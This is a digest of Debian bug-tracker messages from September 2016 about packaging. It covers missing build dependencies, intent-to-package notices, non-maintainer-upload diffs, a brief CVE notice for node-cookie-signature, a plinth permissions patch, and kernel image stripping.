Bug#838620: coinor-libcoinutils-dev: missing Depends: on libbz2-dev/zlib1g-dev?

[Rene Engelhard]

Package: coinor-libcoinutils-dev
Version: 2.9.15-4
Severity: important

Dear Maintainer,

# pkg-config --libs coinutils  
-lCoinUtils -lbz2 -lz -llapack -lblas -lm

and

# grep Libs: coinutils.pc
Libs: -L${libdir} -lCoinUtils -lbz2 -lz -llapack -lblas -lm 

# apt-cache show coinor-libcoinutils-dev | grep Depends
Depends: coinor-libcoinutils3v5 (= 2.9.15-4), liblapack-dev

E.g. libbz2-dev and zlib1g-dev seem missing in Depends: there.

This causes FTBFS like 
https://buildd.debian.org/status/fetch.php?pkg=libreoffice=amd64=1%3A5.2.2~rc2-1=1474599758:

mv /«PKGBUILDDIR»/workdir/Dep/LinkTarget/Library/libsolverlo.so.d.tmp 
/«PKGBUILDDIR»/workdir/Dep/LinkTarget/Library/libsolverlo.so.d
S=/«PKGBUILDDIR» && I=$S/instdir && W=$S/workdir &&  x86_64-linux-gnu-g++ 
-shared -Wl,-z,noexecstack   -Wl,-z,origin '-Wl,-rpath,$ORIGIN' 
-Wl,-rpath-link,$I/program -Wl,-z,defs -Wl,-rpath-link,/lib:/usr/lib 
-Wl,-z,combreloc  -Wl,--hash-style=gnu  -Wl,--dynamic-list-cpp-new 
-Wl,--dynamic-list-cpp-typeinfo -Wl,-Bsymbolic-functions  
-L$W/LinkTarget/StaticLibrary -L$I/sdk/lib  -L$I/program  -L$I/program 
-Wl,-z,relro   /usr/lib/lp_solve/liblpsolve55.so -Wl,-rpath=/usr/lib/lp_solve  
$W/CxxObject/sccomp/source/solver/SolverComponent.o 
$W/CxxObject/sccomp/source/solver/CoinMPSolver.o 
$W/CxxObject/sccomp/source/solver/LpsolveSolver.o -Wl,--start-group
-lCoinMP -lCbcSolver -lCoinUtils -lbz2 -lz -llapack -lblas -lm -Wl,--end-group 
-Wl,--no-as-needed -lmergedlo -luno_cppu -luno_cppuhelpergcc3 -luno_sal -o 
$I/program/libsolverlo.so 
/usr/bin/ld: cannot find -lbz2

because libbz2-dev of course isn't installed.

Will work around for now by adding that build-dependency myself, but...

Regards,

Rene

Bug#796522: obs-build: please package new upstream version

[李健秋]

Package: obs-build
Followup-For: Bug #796522

Dear Maintainer,

I've prepared a NMU for new upstream release.

I updated it to the latest release and fixed all lintian
reports.

Would you mind to accept co-maintainship or this NMU?

Best regards,
-Andrew
diff -urN /tmp/obs-build-20141024/debian/changelog obs-build-20160921/debian/changelog
--- /tmp/obs-build-20141024/debian/changelog	2015-12-29 21:24:16.0 +0800
+++ obs-build-20160921/debian/changelog	2016-09-23 13:17:21.507675412 +0800
@@ -1,3 +1,17 @@
+obs-build (20160921-0.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * New upstream release. (Closes: #786404, #796522)
+  * Drop 0002-Fix-Build-Zypp-parsecfg-expected-full-config-file-na.patch:
+included upstream.
+  * Refreshed 0001-Use-obs-build-in-locations-and-executable-names-inst.patch.
+  * Bump standard-version to 3.9.8.
+  * debian/control: Added misc depends.
+  * debian/control: depends on debootstrap.
+  * debian/copyright: added missing gpl-2 and gpl-3 licenses paragraph.
+
+ -- Andrew Lee (李健秋)   Fri, 23 Sep 2016 11:45:48 +0800
+
 obs-build (20141024-1.1) unstable; urgency=medium
 
   * Non-maintainer upload.
diff -urN /tmp/obs-build-20141024/debian/control obs-build-20160921/debian/control
--- /tmp/obs-build-20141024/debian/control	2014-10-25 09:38:08.0 +0800
+++ obs-build-20160921/debian/control	2016-09-23 12:24:07.297171886 +0800
@@ -3,14 +3,14 @@
 Priority: extra
 Maintainer: Dimitri John Ledkov 
 Build-Depends: debhelper (>= 9)
-Standards-Version: 3.9.6.0
+Standards-Version: 3.9.8
 
 Package: obs-build
 Architecture: all
-Depends: ${perl:Depends}, rpm
+Depends: ${misc:Depends}, ${perl:Depends}, rpm, debootstrap
 Recommends: rpm2cpio, osc, libcrypt-ssleay-perl
 Description: scripts for building RPM/debian packages for multiple distributions
  This package provides scripts for building RPM and debian packages in
  contained environments for various build distributions. These tools
  are use by Open Build Service workers and openSUSE distribution by
- default.
\ 檔案末沒有 newline 字元
+ default.
diff -urN /tmp/obs-build-20141024/debian/copyright obs-build-20160921/debian/copyright
--- /tmp/obs-build-20141024/debian/copyright	2014-10-25 09:55:33.0 +0800
+++ obs-build-20160921/debian/copyright	2016-09-23 12:56:27.591697867 +0800
@@ -31,3 +31,37 @@
  On Debian systems, the full text of the GNU General Public
  License version 2 can be found in the file
  `/usr/share/common-licenses/GPL-2'.
+
+License: GPL-2
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; version 2 of the License.
+ .
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ GNU General Public License for more details.
+ .
+ You should have received a copy of the GNU General Public License along
+ with this program; if not, write to the Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ .
+ On Debian systems, the complete text of the GNU General
+ Public License can be found in `/usr/share/common-licenses/GPL-2'.
+
+License: GPL-3
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; under version 3 of the License.
+ .
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ GNU General Public License for more details.
+ .
+ You should have received a copy of the GNU General Public License
+ along with this program.  If not, see .
+ .
+ On Debian systems, the full text of the GNU General Public License
+ version 3 can be found in the file `/usr/share/common-licenses/GPL-3'.
+
diff -urN /tmp/obs-build-20141024/debian/patches/0001-Use-obs-build-in-locations-and-executable-names-inst.patch obs-build-20160921/debian/patches/0001-Use-obs-build-in-locations-and-executable-names-inst.patch
--- /tmp/obs-build-20141024/debian/patches/0001-Use-obs-build-in-locations-and-executable-names-inst.patch	2014-10-25 09:38:26.0 +0800
+++ obs-build-20160921/debian/patches/0001-Use-obs-build-in-locations-and-executable-names-inst.patch	2016-09-23 11:43:45.311231254 +0800
@@ -10,8 +10,6 @@
  build|  6 +++---
  2 files changed, 10 insertions(+), 9 deletions(-)
 
-diff --git a/Makefile b/Makefile
-index 8c84ced..94e4abb 100644
 --- a/Makefile
 +++ b/Makefile
 @@ -1,7 +1,7 @@
@@ -23,7 +21,7 @@
  
  INITVM_ARCH=$(shell bash -c '. common_functions ; build_host_arch; echo $$BUILD_INITVM_ARCH')
  
-@@ -68,11 +68,12 @@ install:
+@@ -73,11 +73,12 @@
  	install 

Bug#838619: ITP: restart-emacs -- restart emacs from within emacs

[Lev Lamberov]

Package: wnpp
Severity: wishlist
Owner: Lev Lamberov 

* Package name: restart-emacs
  Version : 0.1.1
  Upstream Author : Iqbal Ansari 
* URL : https://github.com/iqbalansari/restart-emacs
* License : GPL-3+
  Programming Lang: Emacs Lisp
  Description : restart emacs from within emacs

This is a simple package to restart Emacs for within Emacs.

Bug#838618: node-cookie-signature: CVE-2016-1000236

[Salvatore Bonaccorso]

Source: node-cookie-signature
Version: 1.0.3-1
Severity: important
Tags: security upstream patch

Hi,

the following vulnerability was published for node-cookie-signature.

CVE-2016-1000236[0]:
Timing attack vulnerability 

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2016-1000236

Regards,
Salvatore

Bug#838542: [Android-tools-devel] Bug#838542: Bug#838542: android-platform-system-core: profile build does not actually work

[殷啟聰]

src:android-platform-build also has build-profiles, which eliminates
the circular dependency. Beyond Nougat, this circular dependency would
be removed since android-platform-build-headers are no longer needed.

Out of topic here: Build-profiles are pretty good ways to deal with
bootstrapping issues! However I would like to see the support of
build-profiles in Buildd, since manually removing  entries in
d/control and preparing a "~stage1" version isn't very elegant, as we
have been doing in the Nougat updates. See
.

Bug#838596: Re : Bug#838596: libreoffice-gtk3: When installed, LibreOffice is slow

[nicolas . patrois]

Le 22/09/2016 22:18:10, Rene Engelhard a écrit :

> You definitely didn't search enough. You would have seen that this 
> was already reported (and fixed)

> See #837356 and #836531

reportbug did not show me these bugs.
If it had showed them, I wouldn’t have reported the bug.

Regards,
nicolas patrois : pts noir asocial
-- 
RÉALISME

M : Qu'est-ce qu'il nous faudrait pour qu'on nous considère comme des 
humains ? Un cerveau plus gros ?
P : Non... Une carte bleue suffirait...

Bug#837588: vmlinux in linux-image packages is unstripped

[Ben Hutchings]

I pushed a fix to the sid branch which I've tested on a powerpc
porterbox.

Ben.

-- 
Ben Hutchings
A free society is one where it is safe to be unpopular. - Adlai
Stevenson


signature.asc
Description: This is a digitally signed message part

Bug#838617: RFS: python-socketpool_0.5.3-3 [RC] -- upload or nmu

[gustavo panizzo]

Package: sponsorship-requests
Severity: important

Hello

I'm looking for an sponsor of my updated python-socketpool package.

The update fixes a FTBFS that would make the package to be autoremoved,
python-socketpool is one of the dependencies of couchapp, which I
maintain.

I'm CC ing in this bug report both the uploader and the
maintainer team of the package.

I've attached 3 diff files to this bug report

- python-socketpool-0.5.3-3.1-nmu.diff

  diff since last upload to debian, this diff would produce an NMU.
  I don't think it will apply cleanly on top of the git repo on its current
  status. It does includes changes made by Ondřej Nový

  Changelog

  python-socketpool (0.5.3-3.1) unstable; urgency=low

[ gustavo panizzo ]
* Non-maintainer upload.
* Patch setup.py to use codecs module to read unicode, Fixes FTBFS
  (Closes: #835682) (Closes: #834920).
* Fix a typo on python3-socketpool long description

[ Ondřej Nový ]
* Fixed homepage (https)
* Fixed VCS URL (https)



- python-socketpool-0.5.3-3.1-diff-git.diff

  diff against the git repo on its current status (f108336)
  this builds on top of Ondřej Nový's changes. It would produce an NMU.
  it contains the same changes as the previous patch

- python-socketpool_0.5.3-3.diff

  diff against the git repo on its current status (f108336)
  this builds on top of Ondřej Nový's changes. It would produce an
  standard upload.
  it contains the same changes as the previous patch and other fixes.

  Changelog

  python-socketpool (0.5.3-3) unstable; urgency=low

[ gustavo panizzo ]
* Patch setup.py to use codecs module to read unicode, Fixes FTBFS
  (Closes: #835682) (Closes: #834920).
* Fix a typo on python3-socketpool long description
* Increase the delhelper compat level to 9.
* Add dh-python to build deps.
* Bump Standards-Version to 3.9.8. No changes were needed.

[ Ondřej Nový ]
* Fixed homepage (https)
* Fixed VCS URL (https)


I prefer if this gets uploaded. this build can be downloaded from -mentors or 
this git repo

git.debian.org:/srv/home/users/gfa-guest/public_git/python-socketpool

https://mentors.debian.net/debian/pool/main/p/python-socketpool/python-socketpool_0.5.3-3.dsc

thanks!


-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (900, 'testing'), (300, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.6.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
diff -Nru python-socketpool-0.5.3/debian/changelog python-socketpool-0.5.3/debian/changelog
--- python-socketpool-0.5.3/debian/changelog	2015-11-25 22:40:35.0 +0800
+++ python-socketpool-0.5.3/debian/changelog	2016-09-20 18:41:35.0 +0800
@@ -1,3 +1,17 @@
+python-socketpool (0.5.3-3.1) unstable; urgency=low
+
+  [ gustavo panizzo ]
+  * Non-maintainer upload.
+  * Patch setup.py to use codecs module to read unicode, Fixes FTBFS
+(Closes: #835682) (Closes: #834920).
+  * Fix a typo on python3-socketpool long description
+
+  [ Ondřej Nový ]
+  * Fixed homepage (https)
+  * Fixed VCS URL (https)
+
+ -- gustavo panizzo   Tue, 20 Sep 2016 18:41:35 +0800
+
 python-socketpool (0.5.3-2) unstable; urgency=medium
 
   [ SVN-Git Migration ]
diff -Nru python-socketpool-0.5.3/debian/control python-socketpool-0.5.3/debian/control
--- python-socketpool-0.5.3/debian/control	2015-11-25 22:40:35.0 +0800
+++ python-socketpool-0.5.3/debian/control	2016-09-20 18:41:35.0 +0800
@@ -9,8 +9,8 @@
 	python-setuptools,
 	python3-setuptools
 Standards-Version: 3.9.6
-Homepage: http://pypi.python.org/pypi/socketpool
-Vcs-Git: git://anonscm.debian.org/python-modules/packages/python-socketpool.git
+Homepage: https://pypi.python.org/pypi/socketpool
+Vcs-Git: https://anonscm.debian.org/git/python-modules/packages/python-socketpool.git
 Vcs-Browser: https://anonscm.debian.org/cgit/python-modules/packages/python-socketpool.git
 
 Package: python-socketpool
@@ -31,4 +31,4 @@
  Socket pool is a simple socket pool that supports multiple factories and
  backends. It can easily be used by gevent, eventlet or any other library.
  .
- This package for Python 2.
+ This package for Python 3.
diff -Nru python-socketpool-0.5.3/debian/patches/fix-FTBFS.patch python-socketpool-0.5.3/debian/patches/fix-FTBFS.patch
--- python-socketpool-0.5.3/debian/patches/fix-FTBFS.patch	1970-01-01 08:00:00.0 +0800
+++ python-socketpool-0.5.3/debian/patches/fix-FTBFS.patch	2016-09-20 18:41:35.0 +0800
@@ -0,0 +1,20 @@
+Description: Fix a FTBFS
+ setup.py open() an unicode file as ascii, this patch modifies setup.py
+ to open the file as binary then decodes it from utf-8
+Origin: Upstream
+Author: Ralph Bean rb...@redhat.com
+Last-Update: 2016-04-06
+
+--- a/setup.py
 b/setup.py
+@@ -22,8 +22,8 @@ CLASSIFIERS = [
+ 
+ 
+ # read long description

Bug#829745: kimwitu: FTBFS: dh_clean: Please specify the compatibility level in debian/compat

[Samuel Henrique]

Control: tags 829745 patch
Control: tags 829745 pending

Hi,

I uploaded a NMU to 7-day/delay queue two days ago
(sorry for not sending this email before). Feel free
to cancel this upload if needed.

The debian/changelog is:
kimwitu (4.6.1-7.2) unstable; urgency=medium

  * Non-maintainer upload.
  [Logan Rosen]
  * Bump DH level to 9 (closes: #829745).
  * debian/rules:
- Remove legacy DH_COMPAT export.
- Add recommended build-arch and build-indep targets.
- Use dh_prep instead of dh_clean -k.
  * debian/control:
- Depend on ${misc:Depends}.
  [Samuel Henrique]
  * Bump Standards-Version to 3.9.8.

I attached a debdiff.

Regards,



Samuel Henrique 


kimwitu.debdiff
Description: Binary data

Bug#837206: [Freedombox-pkg-team] Bug#837206: plinth: Change ownership of plinth.sqlite3 to plinth:plinth from root:root

[Sunil Mohan Adapa]

On 09/23/2016 05:14 AM, James Valleroy wrote:
> Here's a patch to fix the DB and log file permissions after "plinth
> --setup". I also changed it to use the new command "--setup-no-install",
> which ensures that the required packages are already installed and won't
> try to install them like --setup does.
[...]
> ++# Ensure that DB and log file permissions are correct
> ++chown -R plinth: /var/lib/plinth /var/log/plinth

Perhaps plinth:plinth ? I see no reason to keep it as plinth:root.

The patch looks good to me.  Please go ahead and commit it.

-- 
Sunil




signature.asc
Description: OpenPGP digital signature

Bug#838616: dgit: document that users cannot assume untagged commits are DFSG-free

[Sean Whitton]

Package: dgit
Version: 1.4
Severity: normal

It is common for there to be material that is not known to be DFSG-free
in the git commit history of Debian packages.  This is true for alioth
repositories, and dgit repositories.

However, for packages in main, commits with a debian/x.y.z release tag
should not contain any DFSG-non-free material.  This can be relied upon
to the same extent that one can rely on there being only DFSG-free
material in source packages retrieved from main with `apt-get source`.

Essentially, the git history of a package in main has a very similar
status as the contrib/non-free sections of the archive: you have to
check what you are allowed to do with the material for yourself.

These facts about both tagged and untagged commits in dgit-repos should
be documented somewhere.  I'm not sure where.  Some possibilities:

- in Policy, alongside the explanation of contrib & non-free (in that
  case, this bug should be reassigned)

- in dgit(1), despite the fact that this is Debian-specific information.

-- 
Sean Whitton

Bug#838615: autoconf-archive: ax_cxx_compile_stdcxx_*.m4 are broken, cause failures building other software

[Matthew Gabeler-Lee]

Package: autoconf-archive
Version: 20160320-1
Severity: important

After updating this package, builds of other software are failing:

srcdir$ aclocal-1.9
/usr/share/aclocal/ax_cxx_compile_stdcxx_14.m4:32: file 
`ax_cxx_compile_stdcxx.m4' does not exist

Google suggests that this has been fixed upstream:

https://lists.gnu.org/archive/html/autoconf-archive-commits/2016-05/msg1.html
https://github.com/peti/autoconf-archive/pull/78
https://github.com/peti/autoconf-archive/commit/fd864cb41ad922b66b144a280143f53844b39a95
https://github.com/peti/autoconf-archive/commit/d343892fbd0605a9375ff1ae0467aa320a404b12

-- System Information:
Debian Release: stretch/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.6.0-1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages autoconf-archive depends on:
ii  dpkg  1.18.10

Versions of packages autoconf-archive recommends:
ii  autoconf  2.69-10

autoconf-archive suggests no packages.

-- no debconf information

Bug#838614: ITP: libspecio-perl -- Perl module providing type constraints and coercions

[Nick Morrott]

Package: wnpp
Owner: Nick Morrott 
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, debian-p...@lists.debian.org

* Package name: libspecio-perl
  Version : 0.25
  Upstream Author : Dave Rolsky 
* URL : https://metacpan.org/release/Specio
* License : Artistic-2.0
  Programming Lang: Perl
  Description : Perl module providing type constraints and coercions

Specio provides classes for representing type constraints and coercion,
along with the syntactic sugar for declaring them.

This distribution ships with a set of builtin types representing the types
provided by the Perl interpreter itself.

Note that this is not a proper type system for Perl. Nothing in this
distribution will magically make the Perl interpreter start checking a value's
type on assignment to a variable.

Specio is a new dependency for libdatetime-perl.

The package will be maintained under the umbrella of the Debian Perl Group.

Bug#838613: perl: FTBFS on hppa - ext/XS-APItest/t/customop FAILED

[John David Anglin]

Package: perl
Version: 5.22.2-3
Severity: normal

Dear Maintainer,

Since 5.22.2-4, the ext/XS-APItest/t/customop test fails on hppa and perl
fails to build from source.  For example, see:
https://buildd.debian.org/status/fetch.php?pkg=perl=hppa=5.22.2-5=1474392510

Regards,
Dave Anglin

-- System Information:
Debian Release: stretch/sid
  APT prefers buildd-unstable
  APT policy: (500, 'buildd-unstable'), (500, 'unstable')
Architecture: hppa (parisc64)

Kernel: Linux 4.7.4+ (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=UTF-8) (ignored: LC_ALL set to en_US.utf8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages perl depends on:
ii  dpkg   1.18.10
ii  libperl5.225.22.2-3
ii  perl-base  5.22.2-3
ii  perl-modules-5.22  5.22.2-5

Versions of packages perl recommends:
ii  netbase  5.3
ii  rename   0.20-4

Versions of packages perl suggests:
ii  libterm-readline-gnu-perl  1.34-1
ii  make   4.1-9
ii  perl-doc   5.22.2-5

-- no debconf information

Bug#838612: ITP: libparams-validationcompiler-perl -- Module to build an optimized subroutine parameter validator

[Nick Morrott]

Package: wnpp
Owner: Nick Morrott 
Severity: wishlist
X-Debbugs-CC: debian-de...@lists.debian.org, debian-p...@lists.debian.org

* Package name: libparams-validationcompiler-perl
  Version : 0.13
  Upstream Author : Dave Rolsky 
* URL : https://metacpan.org/release/Params-ValidationCompiler
* License : Artistic-2.0
  Programming Lang: Perl
  Description : Module to build an optimized subroutine parameter validator

Params::ValidationCompiler creates a customized, optimized, non-lobotomized,
uncompromised, and thoroughly specialized parameter checking subroutine.

Params::ValidationCompiler is a new dependency of libdatetime-perl.

The package will be maintained under the umbrella of the Debian Perl Group.

Bug#838611: ITP: dxtool -- DistoX data download tool

[Wookey]

Package: wnpp
Severity: wishlist
Owner: Wookey 

  Package name: dxtool
  Version : 0.1
  Upstream Author : Mateusz Golicz 
  URL : http://jaskinie.jaszczur.org/index_en.html
  License : LGPL2.1
  Programming Lang: C
  Description : DistoX/DistoX2 data download tool

 dxtool is a minimal implementation of the DistoX and DistoX2
 protocols which will download measurements from the devices over a
 bluetooth serial (SPP) connection.
 .
 The DistoX and DistoX2 are cave survey instruments designed by Beat
 Heeb.


This is part of a series of cave-surveying packages that I
maintain. Debian is the worlds best cave-surveying distro. :-)

Bug#838607: linux-image-4.7.0-0.bpo.1-amd64-unsigned: new file date writing issue

[Ben Hutchings]

Control: tag -1 unreproducible moreinfo

On Thu, 2016-09-22 at 18:43 -0400, westlake wrote:
> Package: linux-image-4.7.0-0.bpo.1-amd64-unsigned
> Version: 4.7.2-1~bpo8+1
> Severity: normal
> 
> There's a bug with ext4 on the new 4.7 kernel -- rare but it happened 
> here on an ext4 mountpoint (/home /dev/md1   ext4  rw,relatime,data=ordered)
> 
> when a new file is created, the "create time" is not properly set.(2014 
> was written as the create year instead of 2016)

Are the month, day and time roughly correct, or also incorrect?

Timestamps on ext4 are stored in Unix time format (seconds since 1970)
and an offset of 2 years is not a round number of seconds, so there's
no obvious way for a bug to result in a shift of exactly 2 years.

> it occured today after I updated to 4.7 so I can only assume it has 
> something to do with it..

Have you checked that the real-time clock is set correctly
(hwclock -r)?

Ben.

> my system here has "mdadm" containers, and perhaps it's possible a set 
> of conditions allowed this rarity to occur.

-- 
Ben Hutchings
A free society is one where it is safe to be unpopular. - Adlai
Stevenson


signature.asc
Description: This is a digitally signed message part

Bug#838610: lightdm-gtk-greeter: always uses the last session as default

[Ken Hahn]

X-Debbugs-Cc: kh...@wisc.edu
Package: lightdm-gtk-greeter
Version: 1.8.5-2
Severity: normal
Tags: upstream

Dear Maintainer,

I run a number of computer labs, and use lightdm with the gtk greeter.
I haven't had time to patch the code, but have looked through the code.
Despite being able to configure a default session for ligthdm, once
lightdm has entered and exited a session it stores that selection in
its XDG_CACHE_HOME directory.  It then uses that saved session as the
default for the next time, overriding the default preference.

I can see where this might be an ok behavior in a home environment, but
in a lab environment it is problematic because users tend to expect the
same defaults every time rather than based on the last user.

(I've temporarily disabled this by making a link to /dev/null from
$XDG_CACHE_HOME/lightdm-gtk-greeter, preventing lightdm-gtk-greeter
from creating its state file.)

-- System Information:
Debian Release: 8.5
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)

Versions of packages lightdm-gtk-greeter depends on:
ii  libc6   2.19-18+deb8u4
ii  libcairo2   1.14.0-2.1+deb8u1
ii  libgdk-pixbuf2.0-0  2.31.1-2+deb8u5
ii  libglib2.0-02.42.1-1+b1
ii  libgtk-3-0  3.14.5-1+deb8u1
ii  liblightdm-gobject-1-0  1.10.3-3
ii  libx11-62:1.6.2-3

Versions of packages lightdm-gtk-greeter recommends:
ii  desktop-base   8.0.2
ii  gnome-icon-theme-symbolic  3.12.0-1
ii  gnome-themes-standard  3.14.2.2-1
ii  policykit-10.105-8

lightdm-gtk-greeter suggests no packages.

-- Configuration Files:
/etc/lightdm/lightdm-gtk-greeter.conf changed [not included]

Bug#827618: similar bug w/ linux-image-4.7.0-1-amd64{,-unsigned}

[Ben Hutchings]

On Thu, 2016-09-22 at 16:28 +0200, Felix C. Stegerman wrote:
> Hi,
> 
> This time I replaced linux-image-4.7.0-1-amd64 w/
> linux-image-4.7.0-1-amd64-unsigned.  Then I ran:
> 
> $ sudo aptitude purge ~c
> ...
> Purging configuration files for linux-image-4.7.0-1-amd64 (4.7.2-1+s1) ...
> ...
> rmdir: failed to remove '/lib/modules/4.7.0-1-amd64': Directory not empty
> ...
> 
> Not only did this cause dpkg to fail, it also removed modules.alias
> etc.  So replacing the signed kernel package with the unsigned one
> still causes some problems.

I think I misunderstood this bug originally.  However it was reported
again as #836282 and I think it's really fixed in version 4.7.4-1.

Ben.

-- 
Ben Hutchings
A free society is one where it is safe to be unpopular. - Adlai
Stevenson

signature.asc
Description: This is a digitally signed message part

Bug#838534: chromium: ::MoveToNewUserNS().

[Michael Gilbert]

control: severity -1 minor
control: retitle -1 chromium: crashes when run as root

Running any web browser as root isn't a great idea to begin with.

Best wishes,
Mike

Bug#838176: mcabber: please update the package to the latest release

[Mikael Berthe]

* Franziska Lichtblau  [2016-09-22 19:25 +0200]:
> 
> If anybody is willing to help I'd really really much appreciate it.

Sure, what kind of help do you need exactly?
Is it Debian-specific?

Feel free to email me if you have any questions (or PM me on Jabber).

Regards,
-- 
Mikael


signature.asc
Description: Digital signature

Bug#837206: plinth: Change ownership of plinth.sqlite3 to plinth:plinth from root:root

[James Valleroy]

Here's a patch to fix the DB and log file permissions after "plinth
--setup". I also changed it to use the new command "--setup-no-install",
which ensures that the required packages are already installed and won't
try to install them like --setup does.
From 9835d5fb3a707dd638a52246255569b9eb2a9de1 Mon Sep 17 00:00:00 2001
From: James Valleroy 
Date: Thu, 22 Sep 2016 18:04:48 -0400
Subject: [PATCH] Add patch to fix permissions and use new setup command

---
 debian/patches/0004-fix-permissions.patch | 15 +++
 debian/patches/series |  1 +
 2 files changed, 16 insertions(+)
 create mode 100644 debian/patches/0004-fix-permissions.patch

diff --git a/debian/patches/0004-fix-permissions.patch b/debian/patches/0004-fix-permissions.patch
new file mode 100644
index 000..be11f92
--- /dev/null
+++ b/debian/patches/0004-fix-permissions.patch
@@ -0,0 +1,15 @@
+Subject: Fix permissions on DB and log file. Use new setup command.
+
+--- a/data/usr/lib/freedombox/setup.d/86_plinth
 b/data/usr/lib/freedombox/setup.d/86_plinth
+@@ -37,6 +37,9 @@
+ echo "Running Plinth setup..."
+ 
+ # Run plinth setup to install various necessary program
+-plinth --setup
++plinth --setup-no-install
++
++# Ensure that DB and log file permissions are correct
++chown -R plinth: /var/lib/plinth /var/log/plinth
+ 
+ echo "Done running Plinth setup."
diff --git a/debian/patches/series b/debian/patches/series
index 3055da5..478ac7a 100644
--- a/debian/patches/series
+++ b/debian/patches/series
@@ -1,3 +1,4 @@
 0001-disable-privileged-actions-test.patch
 0002-skip-copy-doc-dir.patch
 0003-disable-restore-module.patch
+0004-fix-permissions.patch
-- 
2.9.3



signature.asc
Description: OpenPGP digital signature

Bug#838534: chromium: ::MoveToNewUserNS().

[Michael Gilbert]

control: severity -1 important
control: forwarded -1 http://crbug.com/571277

There are a few suggestions in the upstream bug, do any of them help?
Also bug #833342 seems similar.

Best wishes,
Mike

Bug#838609: ITP: libwebservice-ils-perl -- Perl library to create standardised interface for online (physical) library services providers

[Chris Cormack]

Package: wnpp
Severity: wishlist
Owner: Chris Cormack 

* Package name: libwebservice-ils-perl
  Version : 0.07
  Upstream Author : Srdjan Jankovic 
* URL : https://metacpan.org/pod/distribution/WebService-ILS
* License : Artistic-2.0
  Programming Lang: Perl
  Description : Perl library to create standardised interface for online 
(physical) library services providers

WebService::ILS is an attempt to create a standardised interface for online 
library services providers.

In addition, a native API interface is provided.

Supported service providers

WebService::ILS::OverDrive::Library

OverDrive Library API https://developer.overdrive.com/discovery-apis

WebService::ILS::OverDrive::Patron

OverDrive Circulation API https://developer.overdrive.com/circulation-apis

The package will be maintained under the umbrella of the Debian Perl Group.

Bug#837588: hppa: Please disable CONFIG_FTRACE for hppa architecture

[Ben Hutchings]

Control: reopen -1
Control: retitle -1 vmlinux in linux-image packages is unstripped

On Thu, 2016-09-22 at 21:18 +0200, Helge Deller wrote:
> Hi Ben,
> 
> On 19.09.2016 20:56, Ben Hutchings wrote:
> > 
> > On Mon, 2016-09-19 at 20:50 +0200, Helge Deller wrote:
> > > 
> > > On 19.09.2016 19:41, Ben Hutchings wrote:
> > > > 
> > > > On Mon, 2016-09-12 at 20:28 +0100, Ben Hutchings wrote:
> > > > > 
> > > > > On Mon, 2016-09-12 at 18:17 +0200, Helge Deller wrote:
> > > > > > 
> > > > > > 
> > > > > > So, can you please deactivate CONFIG_FTRACE completely for 32- and
> > > > > > 64bit hppa configs?
> > > > > > Is it sufficient to add "CONFIG_FTRACE=n" to
> > > > > > debian/config/hppa/config ?
> > > > > 
> > > > > Done.
> 
> Argh - this didn't fixed the size issues on hppa.
> I was under the wrong assumption, that CONFIG_FTRACE (which was implemented in
> kernel 4.7 for the first time) was the culprit which increased the kernel 
> size.
> This assumption was wrong.
> 
> The attached patch finally fixes the issue.
> It re-enables the CONFIG_FTRACE option (which is set by your upper config 
> files),
> and disables CONFIG_DEBUG_INFO which was now suddenly enabled by the debian
> kernel 4.7 (it wasn't in 4.6!).
> I enabled CONFIG_DEBUG_RODATA to write-protect kernel memory as well.
> 
> The main problem was, that the generated dwarf debug info increases the 
> kernel vmlinux image from 17MB to 97MB in disk size.
> I've compile- and run-tested the patch and built a +b1 kernel. 
> 
> Can you apply the attached patch on top of current git?
> I can commit it myself as well if you like.

This is not the correct fix, nor is this an hppa-specific problem.  We
need to strip debug information out of the kernel image that goes into
linux-image-[-unsigned], and currently we don't do that
explicitly.  Previously we only enabled debug information for x86 and
s390, and for those the upstream build rules already strip debug
information before compressing the kernel.

Here's the current status, so far as I can see:

alpha:       vmlinux.gz, stripped(?) and compressed
arm64:       Image, stripped and uncompressed
armel,armhf: zImage,
stripped and compressed
hppa:        vmlinux, UNstripped and
uncompressed
m68k:        vmlinux.gz, stripped and compressed
mips*:    
  vmlinux, UNstripped and uncompressed
powerpc*:    vmlinux, UNstripped
and uncompressed
s390x:       image, stripped and uncompressed
sh4:      
  zImage, stripped(?) and compressed
sparc64:     zImage, stripped and
compressed
x86: bzImage, stripped and compressed

(No binary packages of 4.7 are available on ftp.debian-ports.org for
alpha or sh4 yet, so those results are based on reading the respective
Makefiles.)

It seems that we only need a special case in debian/rules.real for
those architectures where we install vmlinux directly.

Ben.

-- 
Ben Hutchings
